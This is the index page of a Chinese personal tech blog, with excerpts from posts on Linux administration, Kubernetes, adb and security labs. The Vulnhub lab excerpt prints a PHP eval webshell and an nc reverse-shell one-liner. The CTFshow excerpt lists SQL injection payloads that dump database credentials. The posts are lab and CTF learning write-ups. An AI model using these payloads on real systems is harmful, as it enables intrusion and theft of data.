<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>惜缘怀古的博客 - 欢迎你来到我的小世界</title><meta name="keywords" content="惜缘怀古，博客"><meta name="author" content="惜缘怀古"><meta name="copyright" content="惜缘怀古"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="唯有那份炫目，未曾忘却">
<meta property="og:type" content="website">
<meta property="og:title" content="惜缘怀古的博客">
<meta property="og:url" content="https://xiyuanhuaigu.gitee.io/page/2/index.html">
<meta property="og:site_name" content="惜缘怀古的博客">
<meta property="og:description" content="唯有那份炫目，未曾忘却">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiyuanhuaigu.gitee.io/img/2.jpg">
<meta property="article:author" content="惜缘怀古">
<meta property="article:tag" content="惜缘怀古，博客">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiyuanhuaigu.gitee.io/img/2.jpg"><link rel="shortcut icon" href="/img/favicon.png"><link rel="canonical" href="https://xiyuanhuaigu.gitee.io/page/2/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    jQuery: 'https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js',
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/js/jquery.justifiedGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/css/justifiedGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isanchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '惜缘怀古的博客',
  isPost: false,
  isHome: true,
  isHighlightShrink: false,
  isToc: false,
  postUpdate: '2024-01-18 10:16:30'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if (GLOBAL_CONFIG_SITE.isHome && /iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 5.4.0"></head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="/img/2.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data is-center"><div class="data-item"><a href="/archives/"><div class="headline">文章</div><div class="length-num">66</div></a></div><div class="data-item"><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a></div><div class="data-item"><a href="/categories/"><div class="headline">分类</div><div class="length-num">0</div></a></div></div><hr/></div></div><div class="page" id="body-wrap"><header class="full_page" id="page-header" style="background-image: url('https://gimg2.baidu.com/image_search/src=http%3A%2F%2Fi0.hdslb.com%2Fbfs%2Farticle%2F3213259c70268dc2a32c6666d7861bf65fa487a0.jpg&amp;refer=http%3A%2F%2Fi0.hdslb.com&amp;app=2002&amp;size=f9999,10000&amp;q=a80&amp;n=0&amp;g=0n&amp;fmt=jpeg?sec=1636166607&amp;t=a6f3b742174dda05e9c7222a32bc3b96')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">惜缘怀古的博客</a></span><div id="menus"><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="site-info"><h1 id="site-title">惜缘怀古的博客</h1></div><div id="scroll-down"><i class="fas fa-angle-down scroll-down-effects"></i></div></header><main class="layout" id="content-inner"><div class="recent-posts" id="recent-posts"><div class="recent-post-item"><div class="post_cover left"><a href="/2023/03/26/%E9%85%8D%E7%BD%AE-NFS-%E5%AE%9E%E7%8E%B0-Linux-%E4%B9%8B%E9%97%B4%E7%9A%84%E7%9B%AE%E5%BD%95%E5%85%B1%E4%BA%AB/" title="配置 NFS 实现 Linux 之间的目录共享"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/41c5c54fccccad55d07201f04c40fff6a421abbf_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="配置 NFS 实现 Linux 之间的目录共享"></a></div><div class="recent-post-info"><a class="article-title" href="/2023/03/26/%E9%85%8D%E7%BD%AE-NFS-%E5%AE%9E%E7%8E%B0-Linux-%E4%B9%8B%E9%97%B4%E7%9A%84%E7%9B%AE%E5%BD%95%E5%85%B1%E4%BA%AB/" title="配置 NFS 实现 Linux 之间的目录共享">配置 NFS 实现 Linux 之间的目录共享</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2023-03-26T08:19:52.000Z" title="发表于 2023-03-26 16:19:52">2023-03-26</time></span></div><div class="content">网络文件系统（英语：Network File System，缩写作 NFS）是一种分布式文件系统，力求客户端主机可以访问服务器端文件，并且其过程与访问本地存储时一样，它由Sun Microsystems（已被甲骨文公司收购）开发，于1984年发布。NFS 的实现基于 ONC RPC（一个开放、标准的RFC系统，任何人或组织都可以依据标准实现它）。
本文仅介绍 NFS 最简单的用法：在两台不同的 Linux 机器上共享目录。

A 和 B 的连接是内网或公网均可。但公网比较麻烦，要解决防火墙的问题。而且由于 NFS  是明文，所以一般不建议在公网使用。本文的示例用的公网主要是因为我在搞这个的时候手里暂时只有两个不在同一网段的机器，又懒得搞 docker  啥的=。=，不过你直接在内网照做也没什么区别。
我们将 A 称为 NFS 服务器，将 B 称为 NFS 客户端。下面也都将以 NFS 服务器和 NFS 客户端称呼，不再提及 A 和 B。
1. 通用操作：安装必要的程序在 CentOS 中 NFS 的主程序软件包名为 nfs-utils。前文说过，NFS 的实现是基于 RPC 的，所以当 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2023/03/19/adb%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/" title="adb常用命令"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/ff85cc4786da34186bf213de6ac1d1ce1349c250_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="adb常用命令"></a></div><div class="recent-post-info"><a class="article-title" href="/2023/03/19/adb%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/" title="adb常用命令">adb常用命令</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2023-03-19T11:09:30.000Z" title="发表于 2023-03-19 19:09:30">2023-03-19</time></span></div><div class="content">12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455adb version  #显示adb版本和路径adb start-server  #启动serveradb kill-server   #停止serveradb devices       #显示连接的设备列表adb devices #查看连接设备adb -s cf27456f shell # 指定连接设备使用命令adb install test.apk # 安装应用adb install -r demo.apk #覆盖安装adb uninstall cn.com.test.mobile #卸载应用，需要指定包adb uninstall -k cn.com.test.mobile #卸载app 但保留数据和缓存文件adb shell pm list packages #列出手机装的所有app 的包名adb shell pm list packages -3 #列出除了系统应用的第三方应 ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2023/03/06/k8s%E5%85%AC%E7%BD%91%E9%83%A8%E7%BD%B2/" title="k8s公网部署"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/9604cc9e45e234d534bda903e231df3e5be0b6c8_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="k8s公网部署"></a></div><div class="recent-post-info"><a class="article-title" href="/2023/03/06/k8s%E5%85%AC%E7%BD%91%E9%83%A8%E7%BD%B2/" title="k8s公网部署">k8s公网部署</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2023-03-06T08:49:16.000Z" title="发表于 2023-03-06 16:49:16">2023-03-06</time></span></div><div class="content">1CentOS 7.6 系统主机 3 台，基于公网 IP 搭建 1 主 2 从的 Kubernetes 集群 



一、准备工作1.版本信息


Docker
20.10.21



Kubernetes
1.21.0-0


Flannel
0.20.2


2.集群角色规划3 台 CentOS 7.6 主机，集群角色规划如下




Master
Worker01
Worker02



公网 IP
139.196.219.92
1.116.156.102
121.37.169.103


内网 IP
172.21.253.164
10.0.4.15
192.168.0.89


服务器厂商
阿里云
腾讯云
阿里云云


3.修改 hosts 文件设置 master 主机的 hostname 为 m
1sudo hostnamectl set-hostname m

分别设置 2 台 worker 主机的 hostname
12sudo hostnamectl set-hostname w1 sudo hostnamectl set-hostname w2

分别修改 3 台主机 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2023/01/13/%E4%BD%BF%E7%94%A8kubeadm%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2%E4%B8%80%E4%B8%AAk8s%E9%9B%86%E7%BE%A4/" title="使用kubeadm快速部署一个k8s集群"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/67a9fe345eeaa896812eb93135af4396761d850b_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="使用kubeadm快速部署一个k8s集群"></a></div><div class="recent-post-info"><a class="article-title" href="/2023/01/13/%E4%BD%BF%E7%94%A8kubeadm%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2%E4%B8%80%E4%B8%AAk8s%E9%9B%86%E7%BE%A4/" title="使用kubeadm快速部署一个k8s集群">使用kubeadm快速部署一个k8s集群</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2023-01-13T09:59:36.000Z" title="发表于 2023-01-13 17:59:36">2023-01-13</time></span></div><div class="content">kubeadm是官方社区推出的一个用于快速部署kubernetes集群的工具。
这个工具能通过两条指令完成一个kubernetes集群的部署：
12345# 创建一个 Master 节点$ kubeadm init# 将一个 Node 节点加入到当前集群中$ kubeadm join &lt;Master节点的IP和端口 &gt;

1. 安装要求在开始之前，部署Kubernetes集群机器需要满足以下几个条件：

一台或多台机器，操作系统 CentOS7.x-86_x64
硬件配置：2GB或更多RAM，2个CPU或更多CPU，硬盘30GB或更多
可以访问外网，需要拉取镜像，如果服务器不能上网，需要提前下载镜像并导入节点
禁止swap分区

2. 准备环境


角色
IP



master
192.168.203.132


node1
192.168.203.133


node2
192.168.203.131


1234567891011121314151617181920212223242526272829303132# 关闭防火墙systemctl stop firewa ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2023/01/13/linux%E5%BC%80%E5%90%AFssh/" title="linux开启ssh"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/1660359611276.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="linux开启ssh"></a></div><div class="recent-post-info"><a class="article-title" href="/2023/01/13/linux%E5%BC%80%E5%90%AFssh/" title="linux开启ssh">linux开启ssh</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2023-01-13T08:46:03.000Z" title="发表于 2023-01-13 16:46:03">2023-01-13</time></span></div><div class="content">1.查看是否安装了openssh-server执行命令：
1yum list installed | grep openssh-server

如果有openssh-server，则是已安装，如果没有则需要安装，执行安装命令：
1yum install openssh-server



2.打开sshd配置文件sshd_config执行命令：
1vim /etc/ssh/sshd_config 

去掉监听端口、地址前的注释：

开启远程登录：

开启用户密码作为连接验证，保存退出

3.开启  sshd  服务执行命令：
1sudo service sshd start 

 停止SSH服务命令:
1service sshd stop

 重启SSH服务命令:
1service sshd restart

4.设置SSH服务为开机启动。 输入命令：
12chkconfig sshd on若是chkconfig sshd off则禁止SSH开机启动

</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2022/11/18/%E5%85%B3%E9%97%AD%E5%BC%80%E5%90%AF%E4%B9%8B%E5%90%8Elinuxx%E5%AD%90%E7%B3%BB%E7%BB%9F%E5%BC%82%E5%B8%B8/" title="关闭开启之后linuxx子系统异常"><img class="post_bg" src="/img/top_img.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="关闭开启之后linuxx子系统异常"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/11/18/%E5%85%B3%E9%97%AD%E5%BC%80%E5%90%AF%E4%B9%8B%E5%90%8Elinuxx%E5%AD%90%E7%B3%BB%E7%BB%9F%E5%BC%82%E5%B8%B8/" title="关闭开启之后linuxx子系统异常">关闭开启之后linuxx子系统异常</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-11-18T06:53:40.000Z" title="发表于 2022-11-18 14:53:40">2022-11-18</time></span></div><div class="content">在管理员权限下打开powershell，执行以下命令后重启电脑
1234# 启用适用于 Linux 的 Windows 子系统dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart# 启用虚拟机功能dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2022/09/25/Vulnhub%E9%9D%B6%E5%9C%BA-JANGOW-1-0-1/" title="Vulnhub靶场-JANGOW-1-0-1"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/096b7e6c401929b3d58f23d97fd3b126e704f13e_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Vulnhub靶场-JANGOW-1-0-1"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/09/25/Vulnhub%E9%9D%B6%E5%9C%BA-JANGOW-1-0-1/" title="Vulnhub靶场-JANGOW-1-0-1">Vulnhub靶场-JANGOW-1-0-1</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-09-25T13:21:45.000Z" title="发表于 2022-09-25 21:21:45">2022-09-25</time></span></div><div class="content">发现靶机开启21端口和80端口，21端口可以考虑爆破，80端口访问+目录爆破 先访问网站看看

发现这些地方可以点击

发现注入点直接判断用户

直接上传webshell
1echo &#x27;&lt;?php eval($_POST[&quot;hack&quot;]);&#x27; &gt; shell.php

蚁剑连接，在该目录下发现config.php文件，可以获取desafio02数据库的账号密码，经测试没啥用。

在下图目录中发现.backup文件，可以获取jangow01数据库的账号密码

因为网站使用的是php语言，所以写入一个php反弹shell文件（测试该靶机仅有443端口反弹shell）：
1&lt;?php system(&#x27;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 172.23.156.244 443 &gt;/tmp/f&#x27;);?&gt;     #直接在本地写好，用蚁剑上传即可，我保存为test.php

kali监听443端口
1nc -lvp 443 
 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2022/09/24/Python-requests-%E6%A8%A1%E5%9D%97/" title="Python requests 模块"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/890800a704d8065ebb75467.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Python requests 模块"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/09/24/Python-requests-%E6%A8%A1%E5%9D%97/" title="Python requests 模块">Python requests 模块</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-09-24T11:45:30.000Z" title="发表于 2022-09-24 19:45:30">2022-09-24</time></span></div><div class="content">Python requests 模块 导入 requests 包 import requests
  发送请求 x = requests.get(‘https://www.runoob.com/&#39;)
  返回网页内容 print(x.text)



属性或方法
说明



apparent_encoding
编码方式


close()
关闭与服务器的连接


content
返回响应的内容，以字节为单位


cookies
返回一个 CookieJar 对象，包含了从服务器发回的 cookie


elapsed
返回一个 timedelta 对象，包含了从发送请求到响应到达之间经过的时间量，可以用于测试响应速度。比如 r.elapsed.microseconds 表示响应到达需要多少微秒。


encoding
解码 r.text 的编码方式


headers
返回响应头，字典格式


history
返回包含请求历史的响应对象列表（url）


is_permanent_redirect
如果响应是永久重定向的 url，则返回 True，否则返回 False


is ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2022/09/15/CTFshow-sql%E6%B3%A8%E5%85%A5/" title="CTFshow sql注入"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/3176a62373eb90848deb6bdeb2a2b5b8b8df0154_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="CTFshow sql注入"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/09/15/CTFshow-sql%E6%B3%A8%E5%85%A5/" title="CTFshow sql注入">CTFshow sql注入</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-09-15T11:03:45.000Z" title="发表于 2022-09-15 19:03:45">2022-09-15</time></span></div><div class="content">web 171首先使用
11&#x27; --+

发现有回显
使用
11&#x27; order by 3--+

发现一共是3行
使用联合查询得到当前数据库的名字
11&#x27; union select 1,2,database()--+

爆表名：
1-1&#x27; union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+


爆破列名：
11&#x27; union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name=&#x27;ctfshow_user&#x27;--+

爆破数据：
11&#x27; union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+
 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2022/09/13/kali-WIFI%E6%94%BB%E5%87%BB/" title="kali WIFI攻击"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/f08e07cfb3768ac97a690c2dd413eac72a68ae86_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="kali WIFI攻击"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/09/13/kali-WIFI%E6%94%BB%E5%87%BB/" title="kali WIFI攻击">kali WIFI攻击</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-09-13T12:26:16.000Z" title="发表于 2022-09-13 20:26:16">2022-09-13</time></span></div><div class="content">无线渗透攻击准备工作  首先呢我们我们来看一下渗透之前需要准备的工具。

kali linux系统

监听网卡

aircark-ng套件

mdk3工具

fluxion工具


上面的这些准备工作需要特点注意的一点是这个监听网卡，注意在某宝购买的过程中一定要注意购买的网卡是否是双频，我在购买的时候没有注意，所以购买的是单频网卡也就是2.4G版本的，没有办法收到5G频段，现在家用主流的路由器基本上都是双频，所以只能攻击单频段的话通常会自动跳转到另一个频段导致无法抓取数据包。关于aircark-ng套件在kali是内置的，mdk3以及fluxion需要下载一下。
12apt-get install mdk3git clone https://github.com/FluxionNetwork/fluxion.git



无线攻击目前市面上主流路由器的加密方式是WPA2，是WPA的升级版，它们的区别是，WPA2使用更安全的加密技术AES ，因此比WPA更难破解，也更安全。 但是依旧会被攻击，本章节测试环境就是以WPA2加密的路由器进行的。说起无线局域网，不得不提及路由器的两个接口LAN ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2022/09/11/AWD%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8WEB%E7%AF%87/" title="AWD新手入门WEB篇"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/e9eb0702db182d690f80a88899cc212e7bf2ba24_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="AWD新手入门WEB篇"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/09/11/AWD%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8WEB%E7%AF%87/" title="AWD新手入门WEB篇">AWD新手入门WEB篇</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-09-11T08:40:44.000Z" title="发表于 2022-09-11 16:40:44">2022-09-11</time></span></div><div class="content">​        
Attack With Defence主机发现：12345678910111213141516171819202122232425262728293031323334import urllib.requestimport timeopener = urllib.request.build_opener()opener.addheaders = [(&#x27;User-agent&#x27;, &#x27;Mozilla/49.0.2&#x27;)]for n in range(1, 255):    nb = str(n)    target = &#x27;http://192-168-1-&#x27; + nb + &#x27;.pvp1453.bugku.cn/&#x27;    new = open(&#x27;C:/Users/HP/Desktop/bugkuwz.txt&#x27;, mode=&#x27;a+&#x27;, encoding=&#x27;utf-8&#x27;)    new.write(target)    new.write(&# ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2022/09/08/iWrite-%E4%B8%8D%E8%AE%A9%E7%B2%98%E8%B4%B4%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/" title="iWrite 不让粘贴的解决办法"><img class="post_bg" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/c26ad5f7afd9ae7f1975da8b781398f0d5214b0a_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="iWrite 不让粘贴的解决办法"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/09/08/iWrite-%E4%B8%8D%E8%AE%A9%E7%B2%98%E8%B4%B4%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/" title="iWrite 不让粘贴的解决办法">iWrite 不让粘贴的解决办法</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-09-08T09:31:35.000Z" title="发表于 2022-09-08 17:31:35">2022-09-08</time></span></div><div class="content">iWrite 不让粘贴的解决办法打开写作界面，找到以下代码

点击event,找到倒数第三个函数，直接禁用，就可以粘贴了！

</div></div></div><nav id="pagination"><div class="pagination"><a class="extend prev" rel="prev" href="/"><i class="fas fa-chevron-left fa-fw"></i></a><a class="page-number" href="/">1</a><span class="page-number current">2</span><a class="page-number" href="/page/3/#content-inner">3</a><span class="space">&hellip;</span><a class="page-number" href="/page/6/#content-inner">6</a><a class="extend next" rel="next" href="/page/3/#content-inner"><i class="fas fa-chevron-right fa-fw"></i></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/img/2.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">惜缘怀古</div><div class="author-info__description">唯有那份炫目，未曾忘却</div></div><div class="card-info-data is-center"><div class="card-info-data-item"><a href="/archives/"><div class="headline">文章</div><div class="length-num">66</div></a></div><div class="card-info-data-item"><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a></div><div class="card-info-data-item"><a href="/categories/"><div class="headline">分类</div><div class="length-num">0</div></a></div></div><a class="button--animated" id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/xxxxxx"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn card-announcement-animation"></i><span>公告</span></div><div class="announcement_content">This is my Blog</div></div><div class="sticky_layout"><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2023/11/06/2023%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%86%B3%E8%B5%9BWP/" title="2023蓝帽杯决赛WP"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/20231106163334.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="2023蓝帽杯决赛WP"/></a><div class="content"><a class="title" href="/2023/11/06/2023%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%86%B3%E8%B5%9BWP/" title="2023蓝帽杯决赛WP">2023蓝帽杯决赛WP</a><time datetime="2023-11-06T08:31:51.000Z" title="发表于 2023-11-06 16:31:51">2023-11-06</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/10/20/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8CRE/" title="攻防世界RE"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/c78ed35b1e3999643d52a652257558af0a15b4c9_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="攻防世界RE"/></a><div class="content"><a class="title" href="/2023/10/20/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8CRE/" title="攻防世界RE">攻防世界RE</a><time datetime="2023-10-20T12:38:32.000Z" title="发表于 2023-10-20 20:38:32">2023-10-20</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/09/22/%E5%AE%89%E5%8D%93%E5%B8%B8%E7%94%A8%E7%9B%AE%E5%BD%95/" title="安卓常用目录"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/mmexport1694863328916.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="安卓常用目录"/></a><div class="content"><a class="title" href="/2023/09/22/%E5%AE%89%E5%8D%93%E5%B8%B8%E7%94%A8%E7%9B%AE%E5%BD%95/" title="安卓常用目录">安卓常用目录</a><time datetime="2023-09-22T01:27:02.000Z" title="发表于 2023-09-22 09:27:02">2023-09-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/09/22/010Editor%E7%A0%B4%E8%A7%A3/" title="010Editor破解"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/1694867487605.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="010Editor破解"/></a><div class="content"><a class="title" href="/2023/09/22/010Editor%E7%A0%B4%E8%A7%A3/" title="010Editor破解">010Editor破解</a><time datetime="2023-09-22T00:33:10.000Z" title="发表于 2023-09-22 08:33:10">2023-09-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/08/24/%E6%9F%90APP%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/" title="某APP的逆向分析"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/a4c8982faff8839d06cc010c864e02e8092efb23_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="某APP的逆向分析"/></a><div class="content"><a class="title" href="/2023/08/24/%E6%9F%90APP%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/" title="某APP的逆向分析">某APP的逆向分析</a><time datetime="2023-08-24T14:02:11.000Z" title="发表于 2023-08-24 22:02:11">2023-08-24</time></div></div></div></div><div class="card-widget card-archives"><div class="item-headline"><i class="fas fa-archive"></i><span>归档</span><a class="card-more-btn" href="/archives/" title="查看更多">
